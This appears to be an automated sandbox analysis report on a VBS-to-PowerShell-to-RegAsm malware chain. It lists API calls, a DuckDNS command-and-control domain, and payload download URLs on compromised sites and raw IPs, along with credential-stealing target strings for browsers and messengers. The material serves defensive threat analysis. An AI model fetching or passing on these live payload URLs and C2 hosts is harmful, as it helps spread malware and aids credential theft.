Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdb, source: powershell.exe, 0000000E.00000002.3352588129.0000000007C81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	4_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	4_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	4_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	4_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0044E879 FindFirstFileExA,	4_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	4_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040783C FindFirstFileW,FindNextFileW,	4_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	4_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	4_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	4_2_0040BD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_100010F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_10006580 FindFirstFileExA,	4_2_10006580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0040AE51 FindFirstFileW,FindNextFileW,	7_2_0040AE51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	8_2_00407EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,	9_2_00407898

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

4_2_00407C97

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: iwarsut775laudrye2.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: iwarsut775laudrye2.duckdns.org

Source: createdthingstobefrankwithmeeverywhere.gIF.vbs	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: createdthingstobefrankwithmeeverywhere.gIF.vbs	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4

Source: global traffic	HTTP traffic detected: GET /os/transportment.pfm HTTP/1.1Host: asociatiatraditiimaria.ro
Source: global traffic	HTTP traffic detected: GET /wp-admin/oserve/transportment.pfm HTTP/1.1Host: new.quranushaiqer.org.saConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /59/LMTS.txt HTTP/1.1Host: 104.168.45.34Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 93.113.54.56 93.113.54.56
Source: Joe Sandbox View	IP Address: 192.253.251.227 192.253.251.227
Source: Joe Sandbox View	IP Address: 198.46.176.133 198.46.176.133

Source: Joe Sandbox View

ASN Name: THORDC-ASIS THORDC-ASIS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /os/transportment.pfm HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: asociatiatraditiimaria.roConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.176.133

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

4_2_0041B380

Source: global traffic	HTTP traffic detected: GET /os/transportment.pfm HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: asociatiatraditiimaria.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /os/transportment.pfm HTTP/1.1Host: asociatiatraditiimaria.ro
Source: global traffic	HTTP traffic detected: GET /wp-admin/oserve/transportment.pfm HTTP/1.1Host: new.quranushaiqer.org.saConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /59/LMTS.txt HTTP/1.1Host: 104.168.45.34Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
Source: RegAsm.exe, RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
Source: RegAsm.exe	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: RegAsm.exe, 00000007.00000002.2127559059.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
Source: RegAsm.exe, 00000007.00000002.2127559059.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: iwarsut775laudrye2.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net
Source: global traffic	DNS traffic detected: DNS query: asociatiatraditiimaria.ro
Source: global traffic	DNS traffic detected: DNS query: new.quranushaiqer.org.sa

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://asociatiatraditiimaria.ro/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkeddate: Sat, 27 Jul 2024 11:31:16 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://asociatiatraditiimaria.ro/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkeddate: Sat, 27 Jul 2024 11:31:23 GMTserver: LiteSpeed

Source: powershell.exe, 00000002.00000002.2051614764.000001B1D1AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.45.34
Source: powershell.exe, 00000002.00000002.2051614764.000001B1D1AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.168.45.34/59/LMTS.txt
Source: powershell.exe, 00000002.00000002.2051614764.000001B1D1AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133
Source: powershell.exe, 00000002.00000002.2051614764.000001B1D1AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
Source: powershell.exe, 00000002.00000002.2167362177.000001B1E9A60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpegM
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertCloudServicesCA-1.crt0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertCloudServicesCA-1-g1.crl0?
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertCloudServicesCA-1-g1.crl0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0~
Source: wscript.exe, 00000005.00000003.2140898625.0000000003281000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2125566333.0000000003306000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2141365751.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2124716308.00000000032CC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2126019365.000000000332D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2143150221.00000000032A7000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000005.00000003.2140898625.0000000003281000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.2141365751.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2143150221.00000000032A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enclE8
Source: RegAsm.exe, 00000004.00000002.3267737078.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp, bhvCCC4.tmp.7.dr	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://ocsp.digicert.com0:
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://ocsp.msocsp.com0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://ocsp.msocsp.com0S
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://ocspx.digicert.com0E
Source: powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2051614764.000001B1D1881000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3272627711.0000000004195000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272352105.0000000005281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: bhvCCC4.tmp.7.dr	String found in binary or memory: http://www.digicert.com/CPS0~
